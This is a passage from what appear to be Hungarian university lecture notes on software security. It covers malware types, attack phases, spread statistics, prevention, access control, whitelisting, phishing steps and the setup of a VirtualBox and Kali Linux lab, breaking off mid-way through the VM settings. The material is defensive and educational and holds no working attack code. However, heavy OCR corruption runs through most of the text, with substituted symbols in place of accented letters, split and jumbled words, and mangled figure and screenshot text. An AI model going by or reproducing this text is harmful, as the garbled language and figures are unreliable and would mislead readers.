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A szoftverrendszerek biztons8§ga egyre el
az informacidkezelés és a hal6zati kapcsolatok elengedhetetlen részei a mindennapi

®l etnek. A ASzoftverrendszerek biztons§gg:
abban aeményben készilt, hogy tamogatést nydjtson a hallgatéknak és a gyakorld
szakembereknek a szoftveres biztonsag elméleti és gyakorlati alapjainak
meg®rt ®s ®b en. Aben jedntsniRg dz EROP 8.418-201620Q15

Sz 8 mY, A Fif Meglyulo Bdyeten f el sRokt at §si i nt ®z m®|
fel sRfok%» oktat8s mi nRs®g®nek ®s hozz§f ®t
t 8mogat 8s8nak k°sz°nhet Ren. K°sz°net¢inket

l ehet Rv® tette, hogy zan ojse g yhzoezt z 8nfie®yr shzeitIRe s
lassa el a didkokat és az oktatokat.

Az el sR kiad8s megjelen®se -ta eltelt idl
valtozasok, Uj technoldgidk és tamadasi modszerek szilkségessé tették a jegyzet
friss2t®s®t. Az informatika vil 8ga gyors

kivétd. Ujabb és kifinomultabb tamadéasi technikak jelentek meg, amelyek
folyamatos ki h2zv§gst jelentenek a szoftve
szak®rt Rk sz8m8r a. Ez a jegyzet a kor8bb
tartalommal tér visszagtzottan az elavult részek frissitésével és hibak kijavitasaval,

hogy naprakész és relevans ismeretekkel tAmogassa az olvasokat.

A jegyzet el sRsorban a megegyezR nevT t a
feldolgozdsadhoz szilkséges elméleti és gyakorlati ismereteket ismerteti a
szoftverrendszerek biztonsaga terén. Fontos cél, hogy az olvasok képesek legyenek
felismerni és megénté a kilonféle fenyegetéseket és azok hatdsait, valamint

kial ak?2tani a megfelel R v®dekez®si strat/

A szoftverrendszerek biztons8ga nem csupé
fenntartasat foglalja magaban, hanem az adattarolas, az adatvédelem és az
adatkezelés kérdéseire is fokuszal. Az informé&ciobiztonsdg a modern rendszerek
minden tertletére Kkitgre d , l egyen sz- p®nzg¢gyi tr
eg®szs®g¢gyi adatok bizal mas kezel ®s ®r RI

A jegyzetben szereplR t®mak®°r°k gyakorl
segitenek az elmélet és a gyakorlat kdzoétti kapcsolat megértésében. A példak célja,
hogy az olvas6k szaméra vilagosabba tegyék az egyes technikdk és eljarasok
alkalmazasi mdadjaity al ami nt azok jelent Rs®g®t a sz
Y%j abb kiad§sban tal 8l hat - hi bajav2t8sok ¢
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megb2zhat -, pontos forr8sra t8maszkodha:c
kernyezetekben jelentkezR biztons8gi ki h?
A m8sodi k kiad8§s sz8§nd®kosan az oktatgs
sz®l es k°rben hasznos tananyagk®nt szol g§
sordn. Az anyag atdolgozaséanal figyelembe vettik a hallgatéi és oktatéi
visszajelzésekets , hogy a jegyzet m®g 8tl 8t hat - -bb
fejlesztésekkel, technolégiai valtozasokkal Iépést tartson.

A jegyzet most, a masodik kiadasban ismét készen all arra, hogy Utmutatoként
szolgaljon mindazok szamara, akik a szoftverek biztonsaganak kérdéseivel
foglal koznak, |l egyen sz - egyet emi hall
kutatokrél. Reméljuk, hogy a feftett kiadds mélyebb megértést és gyakorlati
segitséget nyujt az olvaséknak, és hogy ezzel a fejlesztéssel hozzajarulunk a
biztonsdgosabb és fenntarthatobb szoftverrendszerek megvalositdséhoz.
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VIRUSOK ES FERGEK

Kartékony programok

A rosszindulatl szoftverek, mas néven malware, malicious software, malicious code,

vagy roviditve malcodenlyan programok vagy kédrészletek, amelyeket szandékosan

ugy programoztak hogy arté6 tevékenységeket végezzenek a felhasznalok

bel eegyez®se vagy tudt a ne®l k¢l . Az anoc
kifejezéseket hasznal ezen szoftverek megnevezésére, de mind ugyanazt a célt
szolgdljak: ezek a programok kifejezetten arra késkjilhogy kart tegyenek a
rendszerekben, adatokat lopjanak, vagy mas, a felhasznalé akarataval ellentétes
tevékenységeket hajtsanak végre.

A rosszindulatu szoftverek célja sokféle lehet. Egyes programok adatokat lopnak,
példaul jelszavakat, banki informaciokat, vagy mas személyes és érzékeny adatokat,
amel yeket k®sRbb a t8&8mad- felhaszns8l hat \
tipusok ara készlilnek, hogy kart okozzanak a rendszerben, példaul tdérélnek fajlokat,
korrumpaljak az adatokat, vagy akar teljesen hasznalhatatlanna teszik a szamitogépet.

Szamos rosszindulati szoftver toérvénytelen tevékenységeket hajt végre: példaul

spam kildésére vadhalozatt § mad8sok (DoS) v®grehajtgs§i
rendszereket. Emel |l ett el Rfordul, hogy a
a felnasznald szamara, igy a rendsmer k ° da®silbat, instabilla valhat, vagy

olyan hibakat okozhat, amelyek megnehezitik a szamitégép hasznalatat.

A rosszindul at %% programok gyakran fel hasz
hogy a felhasznal6 ezt tudna. Ez magaban foglalhatja a processzor vagy memaria

er Rf orr8sainak t¥ zott i g®nybev®tel ®t, ar
mértélben megterheli a rendszer hardveres komponenseit. Egyes makyagklaul

rejtett kriptovalutabanydsz szoftverek, amelyek kihasznaljdk a szamitégép
processzorteljes2tm®ny®t, 2gy jelentRs md
és élettartamat. M&setekben a hattértar tllzott hasznalata vagy a rendszerben zajlo
adatforgalom novelése okozhat problémakat, amelyeket a felhasznalé akaratéan kivil,

az R erRforr8sait kihaszn8lva hajtanak Vv

A rosszindulat¥ szoftverek sz8mos t2pusa
pr-b8lj8k megfertRzni ®s ki haszns§l ni a
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kateg-ri 8k a malware k¢l °onb°zR oszt 8l yai
mTkod®si m-dszerrel rendel kezi k:

A kartékony kédok fajtéi

Virusok: A v2rusok olyan rosszindulat prog
csatolva terjednek. A virusok akkor aktivalédnak, amikor a felhasznalé megnyitja
vagy futtatja a fertRz°tt f8j1t, ami | ehq
rendszert. B2k a programok gyakran fajlokat vagy rendszerelemeket tdmadnak meg,

és karosithatjak vagy torolhetik az adatokat, esetenként teljes rendszereket tehetnek
tonkre. A szamitogépes virus lemésolja magat és beszurja magéat valamelyik
programba, részévélldannak. A virusok egy része csupan valami bosszanto dolgot

tesz. Van, ami az adatainkban okoz ké# van, amelyik szolgaltatdsmegtagadasi
tamadasokat (denialf-service, DOS) okoz.Mivel legtdbbszér a virus egy
v®grehajthat - 8l 1l om8nyban b %j i k me g . A
tov8bbra is mTk°dRk®pes maradhat . Van o
gazdaprogramijat.

A v2rusok sz8&8mos Yat on ker ¢l het nek be a
k¢l onf®l e m-dszerekkel igyekeznek a renc
terjed®si m-dok a k°vetkezRk:

A Halozat: Az internet vagy helyi hal6zatok segitségével a virusok kbnnyen
elérhetik a szamitégépet, kildondsen ha a halézati biztonsagi bedllitasok
nem megfel el Rek. A t8mad- k gyakr ar
hasznéalnak ki, hogy virusokat kuldjenek az esiékig, vagy tavolrol,
mas halozati eszkdzokdn keresztil probalnak hozzaférést szerezni a
szamitégéphez. Példaul egy halozati féreg automatikusan tovabbithatja

mag8t a h8l - -zaton keresztg¢igl, megfert
A K¢l sR mem-riak, A kpés®r imerevl emeze
hordozhat - eszk?°z°k gyakori terjeszi

egy fertRz°tt eszk®°zt csatlakoztatur
aktivalédhat és terjedhet a rendszerben. Ez kilondgakog olyan

esetekben, ami kor az eszk®°®z Dbiztons
hianyzik, és a felhasznal6 nem figyel arra, hogy tiszta eszkdzoket
hasznaljon.

A Fajlmegosztas: Fajlmegosztd hal6zatokon, példaul-toeeeer (P2P)

platformokon keresztll gyakran terjednek virusok. A letoltétt fajlok,

legyenek akar filmek, szoftverek vagy dokumentumok, sok esetben
fertRz°ttek |l ehet nek, ®3 viBtsar ev ®t |
sz8m2t. - g®pre. A f 8 |l megoszt - rends
hianydban a virusok kénnyen elterjedhetnek, és a felhasznaldk tudta

n®l k¢l fertRzheti k meg az eszk®®zt.
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A E-mail melléklet: Az emailes virusok tovabbra is az egyik leggyakoribb
tamadasi modszert jelentik. A rosszindulatt mellékleteket vagy linkeket
tartalmaz6 emailek célja, hogy raszedjék a felhasznalét a fajl
megnyitdsara vagy a linkre Kkattintasra. A metas/iutan a virus
aktivsgl  -dhat, ®s azonnal mmajldke r t Rz i
amelyek megbizhaté forrdsnak &lcdzzak magukat, szintén gyakran
tartalmaznak ilyen rosszindulatd kédot.

A Rendszerfrissités: Bar a rendszerfrissitések altaldban a biztonsag
n°vel ®s ®t szol g8l j 8k, el Rf ordul hat,
frissitések révén virusok kerllnek a szamitogépre. A tdmadok hamis
frissitési értesitéseket kildhetnek, amelyek rosszindugatftverek
telepitésére sarkalljak a felhasznalokat. Ha a felhasznal6 nem a hivatalos
forrdsokbdl tolti le a frissitéseket, a rendszer sérilékennyé valik a
tamadéasokkal szemben.

A Lemez vagy egyéb adathordoz6: A hagyomanyos adathordozdék, mint a
CDk, DVD-k vagy 7r ®gebbi t2pus¥%» m8gnes|
fajlokat tartalmazhatnak, amelyek a lemez behelyezésekor elindulhatnak.

Ami kor egy fertRzott | e memendszea sz 8m
automati kusan elind2thatja a rajta
kénnyen terjedBar ezek a mddszerek ma mar ritkabbak, még mindig

el Rf ordul hat nak k¢l °onl eges K°rnye
szamitégépeken

Férgek A f ®r ge k °nsgl 1l - an mTkodnek, ®s n
kozremTk°d®s®re a terjed®shez. H8I1 - zat ok
az eg®sz rendszert f e AtéRgeyykilmalldpogran.k r ©° vi
Nem kell neki gazdaféjl a terjeszkedéshdmel onélléan képesek masolni magukat

®s tovs8bb2tani a fertRz®st, gyakran h§gl
megbénitjak a rendszereket. A férgek gyakran kihaszndljak a haldzati
sérilékenységeket, és nagy kart okazhlata hal6zati infrastruktaraban.

Tréjaiak : A tréjai programok olyan rosszindulati szoftverek, amelyek artalmatlan

vagy hasznos programnak alcazzdk magukat, mikdzben val6jdban karos
tevékenységet végeznek.trojai a gorog falé utan kapta a nevét. Altalaban valami

trikk segitségével jutnak be a rendszeldelhasznal6k gyakran egy latszélag
megb2zhat - f8j1 vagy al kal maz §Atréjaiekt ° | t ®s ¢
nem masoljadk le magukat A trojaiak kdrokozasi listajan szerepel az adatlopas, adatok
lekédolasa, hatso ajtok kitgsa mas kartekony kéd szamaamellyel a tamadé
hozz§8f ®r ®s't nyerhet a sz8m2t. -g®phez, ada
végezhet.

Botok: A szamitogépes botok neve abod s z - b - | egyszer Tsodot
automatikus eljarasokA .botok olyan rosszindulatt szoftverek, amelyek a rendszert
Aotd-ta, vagyis egy tavoli parancsok végrehajtasara alkalmas eszkdzzé alakitjak. A

10
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megfertRz°ott sz8m2t. . g®pek 2gy
hal6zat)részéveé valnak, amelyet gyakran elosztott szolgaltatasmegtagadéasi (DDoS)

, spamk¢gl d®sr e ve
mTkeoednek, ¢

t 8mad8sok v®grehajtg8ss8ra
A botok ©°n8ll-an ®s <cse
f ol yamat os ddmadé pa@nckaeszaR#éra. a

Ezeken a fR kateg-ri 8kon

rendszerekben és a felradlok adatain.

A tamadas fazisait angol nyelvénd Pboe t Ts s z -

ndben

e(phot nagyol

k 2Zsarqidprogla®dke z n e k |
(ransomware), amelyek titkositjak az &ldozat fajljait, és csak valtsagdij ellenében

ajanlanak hozzéaférést, vaggmszoftverek(spyware), amelyek célja, hogy figyeljék
€s tovabbitsédk a felhasznald tevékenységét a tamadonak. A rosszindulatl szoftverek
mi nden kateg-ri 8] 8nak megvan
mindegyik azzal a céllal készilt, hogy kihaszndlja,okésa, vagy kémkedjen a

Probe Fenetrate Persist

a maga jell
valdl: szok8s | e?2r
Propagate Paralyze

1. abra A tamadas fazisai

Probei Puhatol6zasa célpontok azonosisa

Penetraté Behatolas- rosszindulatu kod tovablBdaa célponthoz

Persisti Ragaszkodasa rosszindulati programok megprobalnak a rendszerben

maradni
Propagaté Kiterjesztéskiterjesztés mas rendszerekre
Paralyzd Paralizalas: a rosszindulatt programok kart

Terjedési moédok

Becslések szerirkiberbindzés okozta kar 6,000,000,000,000 USD (hattrillio $)

okoznak

Minden masodpercben 12 ember valik aldoz#tt&ecurity Intelligence Repof8]
statisztikai alapjan a rosszindulatt kdd elterjedése az alabbi médokon valésul meg:

1 Felhasznal6i beavatkozad4.8%

1 AutoRun: USB- 26%

M1 AutoRun: Hal6zat 17.2%

T F8j 1 f e44%RzRd®s

T Sebezhet Rs®g: A f-BR% szt ®s
T Sebezhet Rs®g: -RA4%ri sszt ®s
1 Jelszé feltorés (Brute Forcel.4%

1 Office makrok- 0.3%

T Sebezhet Rs &ao: Zero Day

r ®g -t a

el ®r

el ®r het R

11
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Malware terjedes

m Felhasznaloi beavatkozas = AutoRun USB

AutoRun: Halézat ctet FSNI!T! RSa
m{ S6STKSG!asay ! TP SafURESINBIIWI ! ST NNE
m Jelszo feltérés (Brute Force) m Office makrok

m{ S6STKS{!'as3ay w%SNR 51 &

2. abra Malware terjedésnodok eloszlasa

A megel Rz ®s

A sz8m2t. - g®pes rendszerek ®s az adatbizt
megel Rz®s, amely | ehetRv® teszi, hogy el Kk
és egyéb fenyegetések okozta karokat. A hatékony védekezés érdekében szamos
ovintézkedést &ll alkalmazni, hogy minimalizljuk a biztonsagi kockazatokat, és

noveljuk a rendszerek védettségét.

A megel Rz®s k€IrgRte®p®s ® & el hamsmaaga®dn - i ma ¢
foglalja az ismeretlen forrasokbdl szarmazé ingyenes és kal6z szoftverek elkertilését.

Ezek a programok gyakran tartalmaznak rosszindulati kédokat, amelyek kénnyen
megfertRzheti k a sz8m2t- -g®pet. Ez®rt ®r
forrasokbdl szarmazo6 szoftvereket telepiteni.

A privilegizalt (példaul adminisztratori vagy rodtpkok hasznalatanak elkerilése

is fontos, amikor ez nem feltétlenil szikséges. A privilegizalt fiokok nagyobb
hozz§8f ®r ®s't biztos2tanak a rendszerkrit:i
vonzobb célpontta valhatnak. Csak akkor haszndljunk ilyen fiokokat, ha
elengedhetetlen a rermsadminisztraciohoz.

12
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Ezen kivll biztonsagos konfiguraciok alkalmazasais I|étfontossagu, hogy

mi ni mali z8l juk a sebezhet Rs®geket. A ren
p®l dgul a f&8jljogosultsg8gok, a tTzfal ak
megakadalyozhatja a rosszindulatl programok terjedését.

A rendszer naprakészen tartdsalengedhetetlen a védelem érdekében, kiulondsen

a b ° ng ®snailKkliens &z az eperacios rendszer frissitése szempontjabol. A
biztons§ggi friss2t®sek gyakran olyan se
rosszindulatu programok kihasznélhatnak, ezZgket rendszeresen telepiteni kell.

A frissithetetlen szamitégépek elkulonitéstontos ovintézkedés, mivel az elavult

rendszerek sebezhet Rbbek l ehet nek. Az i
el k¢l °on2tve ®rdemes mTkoedtetni, hogy ne |j
eszkdzokre.

A biztonsag novelése érdekében érdemes towddalsimi eszkdzokt alkalmazni a

b°ng®s z Rh-Mmail klierssheza valangint hasznalni egy biztonsagosaé
§tj&§r-t, amely szTri a bej°vR ¢zeneteket
a rosszindulatU-enailek célba érését, amelyek gyakran tartalmaznak adathalggz

karos linkeket.

A szamitdgép védelmének fontos része a rosszindulatu programok elleni szoftverek
hasznélata is. Az ilyen szoftverek, példawimsirtok éskémprogram-elharitok,

val -s i dRben figyelik ®s blokkolj8k a Kk
rosszindulatl programok terjedését és bejutasat a rendszerbe.

Aval -s idej T huggy aznactsia kv Gdlealpevnet R f ont oss
behatolasvédelmi rendszerek (IDS) figyelik a hal6zati forgalmat, és képesek
azonos2tani, bl okkol ni ®s jelenteni a gy

a kilonféle haldzati tAmadasok, mint példaul algatatasmegtagadasi (DDoS)
tamadasok.

Végll afelhasznalok képzésea gyanakvasra szintén kulcsfontossagu, hiszen az

emberi t®nyezR jelentRs szerepet | 8tszik
tanulniuk felismerni a gyanuUsraaileket, linkeket és letbltéseket, és tisztaban kell
lennilik azzal, hogyan kertlhetik elkao c k 8 zat os vi sel ked®st . £

csokkenti a véletlen hibdk esélyét, és javitja a védekezési hatékonysagot.

A hozzéaférés szabalyozasa

A hozz§8f ®r ®s ek szab8lyoz8sa alapvetR fo
megRr z®s ®hez, mivel korl 8tozza az egyes f
a rendszer er Rf orr 8sai hoz, adat b8zisai ho

szabdlyozott hozz&fések csokkentik a jogosulatlan hozzaférések és a tAmadasok
kockazatét.

13
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Az egyik legfontosabb elv egkevesebb sziikséges jogosultshgsznalata. Ez azt

jelenti, hogy minden felhasznalénak és alkalmazasnak csak annyi jogosultsagot
adunk, amennyire feltétlenll sziksége van feladatai ellatdsahoz. Ha egy alkalmazas

vagy felhasznal6 talzott jogosultsagot kap, az noveli a tamadasok kotkénaed

egy esetleges sebezhet Rs®g ki haszn8l §sa 1

A halézati szegmentalas biztonsagot szolgalja azaltal, hogy elklloniti a hal6zat

k¢l °nb°zR r®szeit, 2gy egy potenci 8lis t!
°sszes h8l - -zati er Rf orr8shoz egyszerre.
szabalyokat alkalmazunk az egyed hdz at i szegmensekr e, 2. gy
hg§l -zatot ®s a k¢l sR kapcsol atokat k¢l ©°n

kerdl, a tobbi szegmens védett marad.

Az alkalmazasoknakadottengedélyekkiadasakor fontos az dvatossag, mivel egyes
alkalmazasok hozzéaférést kérhetnek a személyes adatokhoz, fajlokhoz vagy akar a
kamera és a mikrofon hasznalatdhoz is. Fontos, hogy csak azokra az engedélyekre
adjunk jogosultsagot, amelyekre az adott alkalma#ésenylegesen sziiksége lehet.

Ha egy alkalmazas tul sok hozzéaférést kap, az adataink veszélybe kerllhetnek, és
kénnyebben kihasznalhatéva véalhat a rendszer.

Az alkalmazasokmegbizhat6é forrad - | val - l et°l t®se szint
jatszik a biztonsadgban. Az App Store, Google Play vagy hivatalos szoftveroldalak

8l tal §ban el l enRrzik az al kal maz8sokat,
ismeretlen forrasokbdl szarmazé alkalmazdsok radgyo val - sz2nTs®

tartalmazhatnak rosszindulati kddokat, amelyek veszélyeztetik a rendszert.

A felhasznaldi korlatozasi szabalyok bevezetése az alkalmazasok futtatdsakor segit
abban, hogy afelhasznalok és alkalmazasok korlatozott jogosultsagokkal

mT k © dj. eAm dlyen szabalyok megakadalyozzak, hogy az alkalmazéasok
adminisztrat2v szintT hozz§f ®r ®st kapj a
sebezhet Rs®g eset®n a k8rt®kony k-d nem |

Végqiil, a megbizhaté alkalmazas@hétistajanak {hitelist) hasznalata fontos
-vint®zked®s, amel | yel biztos2thatijuk,
al kal maz8sok futhassanak a rendszeren. A
azokat az alkalmazasokat, amelyeket engedélyeziink, és minden mas program
futtatasat blok&ljuk. Ezaltal csbkken annak esélye, hogy rosszindulatl szoftverek
kertljenek a rendszerb&e | Rny © s e b bfekete hlistat (blaekhis), hanem

whitelistet hasznalunk a nem kivant atkakzdsok és folyamatok kezelésére. A
feketelista olyan megkozelités, amelyben felsoroljuk azokat az alkalmazasokat,
weboldalakat vagy folyamatokat, amelyeket blokkolni kivAnunk, mig a whitelist
azokat tartalmazza, amelyeket kifejezetten engedélyezink.

A feketelistak hatranya, hogy gyakran hianyosak, és csak az ismert fenyegetéseket
tartalmazzak. Az (j, ismeretlen vagy frissen létrehozott rosszindulata programok,
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URL-ek és kbédok konnyen megkerilhetik a feketelistat, mivel ezek még nem
szerepelnek a listdn. A tdmadok folyamatosan Uj technikdkat és modszereket

dol goznak ki a korl 8t oz8sok megker ¢l ®s ®r ¢
rendszeresen frissitekell, gyakran nem tudjak l1épést tartani az Uj fenyegetésekkel.
Ez n°veli a rendszer sebezhet Rs®g ®t , mi \

programok vagy alkalmazasok, amelyek még nem keriiltek be a listaba.

A whitelist hasznalataval viszont egy proaktiv megkozelitést alkalmazunk, amely

bi ztons8gosabb k°rnyezetet biztos?2t, his:
megbizhaté alkalmazasok, folyamatok vagy weboldalak férhetnek hozza a
rendszerhez vagy albzathoz. A whitelistelés sordn minden mas alkalmazéas vagy
weboldal alapértelmezetten blokkolva van, kivéve azokat, amelyeket explicit médon
engedélyeztink. Ezaltal minimalizaljuk a kockazatot, mivel csak a megbizhatd, mar
tesztelt elemek kerulhetnek beemdszerbe.

A feh®rlista el Rnye, hogy cs°kkenti a t£§
mivel kizérja a potencidlisan veszélyes szoftvereket és folyamatokat. A tAmaddknak

sokkal nehezebb dolguk van, ha egy j6l 6sszeallitott whitelistet kell megkerilnitk,

mivel csak az engedélyezett programok futtatasat engedélyezi a rendszer. A whitelist
ugyanakkor kénnyen testresiratd az adott kdrnyezet vagy szervezet igényeihez,

2gy minden szigks®ges program ®s szol g8l t
kivanatos elemek blokkolva maradnak.

Whitelisting hasznéalatakor érdemes figyelembe venni, hogy ez a megkézelités
részletesebb tervezést és folyamatos karbantartast igényel, mivel minden egyes (j

al kal mazg8s vagy folyamat eset ®ben k¢l ©°n
azonban ek,kéldbnésent &R sagyobb biztonsagi kockazatl vagy érzékeny
adatokat kezel R rendszerek eset®ben, aho
szempont.

Adathalasz tAmadasok

Eg®szen n®h8ny ®vvel ezel Rttig a kiberhb
programokra, az ezekkel végzett tAmadasokra 6sszpontositottak, mert ezek nyujtottak

a legnagyobb megtériilést. Ujabban az adathalasz tamadasokra helyezték a hangsulyt

(~ 70%) aza | a c¢c®lIl al, hogy felhasznsgl i ad.
k°vet kezRk:

1. A bTn°zRk el Rk®sz2tik infrastrukt Yr §]j

tartomanyokat domaineket Ezzel i nform8ci -t gy Tj

célpontokrol.

Rosszindulatu-enail izenetek kildése.

Az aldozatot a hamis tartomanyba iranyitjak.

4, Az 8l dozat hamis Trlapba 2rja be a
egy rosszindul at¥s programot , amel vy

wnN

hi
hi
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5 A bTn°zRk hozz8f®rnek az 8l dozat
hiteles2tR adatokat haszn8lj 8k m§

e

Infragtrlujclura Karte!‘_:on_',r email . HEI'!'IIS vagy _ A.z dldozat . e T irsareeen
felallitasa kildese modositott domain jelszavanak ellopasa

L L 4

3. dbra Az adathalaszat |épései
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A SZAMITOGEPES KORNYEZET KIALAKITASA

A SZAMITOGEPES KORNYEZET
KIALAKITASA

Ez a fejezet bemutatigy virtualis kdrnyezetdtialakitasat Két operacios rendszert
fogunk hasznalni: Kali Linuxot és Windows -£0 El Rbbi a Avizsgsl
rendszer lesz, utdbbi a vizsgalat célpontja.

A VIRTUALIZACIO SZEREPE

S biztons§g

A virtualiz8ci- a sz8&8m2t - g
I et fizikali
0

szamos olyan el Rnny el ] 81, ame
megval -s2tani. Az egyi k I nt osabb el
el k¢l °n2t ®st tesz | ehet Rv® rendszer egd
biztonsagi tesztek esetén, mertigy apoten§ | i san v e sizp@daylegg mTv el
virusvizsgalat vagy etikus hackelési gyakoirlaem veszélyeztetik a gazda operacios

rendszert és az azon tarafisdokat.

e
Kk

®p
y e
egf
a

A virtuali z8ci - m8si k kiemelt el Rnye a g
virtus8lis g®pek k°nnyed®n ment het Rk ®s v
val ami hi ba t°rt®nik, gyorsan ®s k°vetke
bizton s §go s 8l 1l apothoz. A virtus8lis k°rnye

olvasd6nak az egyes technikédk kiprébalasat, ugy, hogy nem kell tartaniuk a hibak
hossz¥Y t8v¥ k°vetkezm®nyeitRI

A k°lts®ghat ®konys8g is kiemel endR, hi sz

rendszert futtatni, amivel c¢cs®°kkenthet Rk
ide8lis megol dg8st k2n8l, hiszen egyszerre
konfiguracioval dolgozhatunk anélkil, hogy kiulén hardverre lenne sziikség. Ez nem

csups8&n a Windows ®s a Kal:i Linux egy¢tt

biztonsagos gyakorlokdrnyezetet is biztosit olyan szimulaciok szaméara, amelyek
sor 8n k¢l °nb exzhRozat yirsgahtdkatwdgeznek a diakok.

A virtualiz8ci- ezenk?2vgl rugal mass8got
teszi kulonféle konfiguraciok létrehozasat, ahol tobbféle tAmadasi fellletet vagy
védelmi stratégiat lehet tesztelni. Az ilyen dinamikus kdrnyezetben vald tanulés

val - st8agphdals zt al at ok at ny %j t ®s jobban fe
biztonsagi helyzetek kezelésére.
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VIRTUALIS KORNYEZET TELEPITESE

A szoftver virtuali z8ci

kialak2thatunk egy Aj 8tsz-

l ehet Rv®

tereto

végrehajtanibbgy az ® R rendszer¢gnket el

teszi
virtudlis munkakornyezet legyen, példaul egy masik operéacios rendszer. igy

a bi

zt

(0]

rontans8r

Az Oracle ingyenes Virtual BAjegyzetiedsakorr end s

a v6.1 a legfrissebb verzié. A letoltési oldal:

https://www.virtualbox.org/wiki/Downloads

& O @il tps://www.virtualbox.org/wiki/Downloads]

NZ .VirtyalBox

Here you will find links to VirtualBox binaries and its source cede.

About VirtualBox binaries
Screenshots By downloading, you agree to the terms and cenditions of the respective license.
Downloads

Documentation
End-user docs

Technical docs VirtualBox 6.1.16 platform packages

Contribute - Windows hosts
0S X hosts
Community « Linux distributions

Solaris hosts
The binaries are released under the terms of the GPL version 2.

See the changelog for what has changed.

+ SHA256 checksums, MD5 checksums

VirtualBox 6.1.16 Oracle VM VirtualBox Extension Pack

All supported platforms

VirtualBox 6.1.16 Software Developer Kit (SDK)

All platforms

User Manual

4. dbra VirtualBox telepités

1f you're leoking for the latest VirtualBox 6.0 packages, see VirtualBox 6.0 builds. Please also ust

If you're looking for the latest VirtualBox 5.2 packages, see VirtualBox 5.2 builds. Please also ust

You might want to compare the checksums to verify the integrity of downloaded packages. The £

Note: After upgrading VirtualBox it is recommended to upgrade the guest additions as well.

Support for USB 2.0 and USB 3.0 devices, VirtualBox RDP, disk encryption, NVMe and PXE boot f
and Evaluation License (PUEL). Please instali the same version extensien pack as your installed v

A teljes telepitési Utmutato [1] részletesen leirja a telepités minden aspekblsdt.
a jegyzetben a Windows gazdaszamitogépre valo telepités mignétét. Toltsik

le az alkalmazast és inditsuk el a telepitést.
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5 Oracle VM VirtuzlBox 6.1.16 Setup x i Oracle VM VirtuzlBox 6.1.16 Setup X
‘Custom Setup
Welcome to the Oracle VM Select the way you want features to be installed.
VirtualBox 6.1.16 Setup
Wizard Click on the icons in the tree below to change the way features will be installed.
The Setup Wizard will install Oracle VM VirtualBox 6.1.16 on
your computer. Click Next to continue or Cancel to exit the
Setup Wizard. Orade VM VirtualBox 6.1, 16
applicaton.
=3 ~| virtualBox Bridge: _
This feature requires 217MB on
S VirtualBox HostC| o1 hard drive, Ithas 3 of 3
- v | VirtualBox Python 2.x 5L subfeatures selected. The
@ > subfeatures require 932KB on yo...
Location:  C:\Program Fles\Oracle VirtualBox\ Browse
Version 6.1.16 Cancel Version 6.1.16 Disk Lsage <Back Cancel
15 Oracle VM VirtualBox 6.1.16 Setup ps 4% Oracle VM VirtualBox 6.1.18 x

Custom Setup
Select the way you want features to be installed. Warning:

Network Interfaces

Please choose from the options below: Instaling the Orade VM VirtualBox 5. 1. 16 Networking

festure will reset your network connection and temporarily
disconnect you from the network,

[ Create start menu entries

[ Create a shortcut on the desktop Proceed with installation now?
[ Create a shortcut in the Quick Launch Bar

[“IRegister file associations

Version 6.1.16 <Back Cancel Version6.1.16 Ves No

# Oracle VM VirtuzlBox 6.1.16 Setup X 42 Oracle VM VirtualBox 6.1.16 Setup X

Ready to Install
The Setup Wizard is ready to begin the Custom installation.

Oracle VM VirtualBox 6.1.16
installation is complete.

Click Install o begin the installation. If you want to review or change any of your
instalation settings, click Back. Click Cancel to exit the wizard.

Click the Finish button to exit the Setup Wizard.

[Astart Oracle VM VirtualBox 6. 1. 16 after installation

Version 6.1.16 <Back Instal Cancel Version 6.1.16 <Back Cancel

5. abra Az Oracle WN telepitése

A helyes mTk° d®shez egy) ik letkellrtpltendnk,t ®s t
Figyeljink arra, hogy ennek a verzioszama megegyezzen a VirtualBox verziojaval
(v6.1).

A telepitést az aldbbi parancssorral végezhetjik el:

vboxmanage extpack install
"c: \ Users\ Oliver \ Downloads\ Oracle_VM_VirtualBox_Extension_Pack -6.1.16.9z"
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KALI LINUX TELEPITESE

Készitslink egy Uj virtualis gépéidjunk hozz4 virtualis tarhelyet, legalabb 80GB

tarhelyre sziikségink lesz. Az operacids rendszer legyen Debian Linux.

Create Virtual Machine

Name and operating system

Create Virtual Hard Disk

File location
Neme: [kl Inux ]
D: WirtualMachine Waliinux Kal inuxKal . vdi
Machine Foider: [ | D:WirtuaMachine KalLinux ~] b e ¥ ¥ | @ |
Type: |Linux - ‘,ﬂ'j Fie size i
Version: |Debian (64-bit) - ] 0,00 GB
Memory size 4,00 MB 2,00TB
] 2% [z me Hard disk fil type Storage on physical hard disk |
4MB 12283 MB (@ VDI (VirtualBox Disk Image) @ Dynamically allocated
Hard disk. (O VHD (Virtual Hard Disk) (O Fixed size

© Do net add a virtual hard disk.
@) Create a virtual hard disk now
O Use an existing virtual hard disk fle

Empty

Abe 8| |

2t 8§sokat | - |

(O VMDK (Virtual Machine Disk) Splitinto files
() HDD {Parallels Hard Disk)

O QCowW (QEMU Copy-On-Write)

(O QED {QEMU enhanced disk)

Guided Mode Cancel

6. abra Kali Linux telepitése

mut atja a

Guided Mode Cancel

¥ Oracle VM VirtualBox Manager
File Machine Help

na
A

ﬁg Tools
U

- ]

@@ 0D,

X

Acceleration:
@ Display

video Memory:
Recording:
Storage
Controller: IDE
SATA Port 0:

i{p Audie

B Network

([ usB

LISE Coptollar:

New Settings Discard Start
- _ = ceneral =) preview
@ Name: Kali linus
Operating System: Debian (54-bit)
IE‘ System
Base Memory: 2048 MB
Boot Order: Floppy, Optical, Hard Disk.

Graphics Controller:
Remote Desktop Server: Disabled

IDE Secondary Master:
Controller: SATA

HostDriver:  Windows DirectSound
Controller:  ICH AC97

Adapter 1@ Intel PRO/1000 MT Desktop (NAT)

WT-x/AMD-V, Nested Paging, KVM Paravirtualization

16 MB
WMSYGA

Disabled

[Optical Drive] Empty

Kali linux. vdi (Normal, 80,00 GB)

o' la M =T ais

7. abra A bedllitasok alkalmazasa

Az 8br gn |
szolgaljak:

8t ha

General (Altalanos):

t - Kal i Linux virtuségl

S
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A SZAMITOGEPES KORNYEZET KIALAKITASA

Név: A virtudlis gép neve, ebben az esetben "Kali Linux". Segit ae¥M
azonositasaban a VirtualBdman.

Operécids rendszer: "Debian (6#t)" i Meghatdrozza a VirtualBox szamara, hogy
milyen operéacios rendszer fut a virtualis gépen. Ez optimalizalja a kompatibilitst és
a teljesitmeényt.

System (Rendszer):

Alap memodria: A virtudlis gép szamara lefoglalt RAMennyiség, itt 2048 MB. Ez
biztos2tja a rendszer stabil mTk°d®s ®t ®s
alkalmazas fut egyszerréA minimalis memdriaigény meghatarozdsa fligg a
gazdagéphardverkonfiguraciotol. A memoéria beallithat6 a Motherboard fllén a

